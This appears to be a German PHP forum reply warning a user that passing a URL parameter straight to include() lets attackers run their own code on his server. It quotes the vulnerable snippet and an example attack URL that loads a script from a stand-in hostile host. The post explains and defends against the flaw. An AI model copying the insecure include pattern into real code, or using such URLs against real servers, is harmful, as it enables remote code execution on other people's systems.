Thomas Luethi: neue lösung?

Beitrag lesen

Hallo Daniel,

if ($_GET["url"]=="") {$url="start.php";} else {$url=$_GET["url"];}
include($url)

Du willst also per URL-Parameter einen Ort angeben,
von wo Dein Script Quellcode abholen und auch
ausfuehren soll.
Das ist virtueller Selbstmord, wie Tobias schon schrieb.

Dann koennte Die naemlich jedermann mit
deinscript.php?url=http://boese.example.com/boeses_script.txt
extrem gefaehrlichen Quellcode unterjubeln,
und dieser wuerde auf Deinem Server von PHP
ausgefuehrt.

1. Lies die dclp-FAQ, insbesondere:
Wie unterscheide ich böse Variablen von guten?
http://www.dclp-faq.de/q/q-security-variablen.html
Binde nur Quellcode ein, der auf Deinem eigenen Server ist.

2. Verwende readfile() statt include(), wie ich schon schrieb.

Gruesse,

Thomas
  der sich immer wieder fragt, was die Leute an URLs wie
   ...index.php?url=start.php, ...index.php?url=kontakt.php
   so toll finden und wo sie dieses seltsame "Konzept"
   abgeschrieben haben.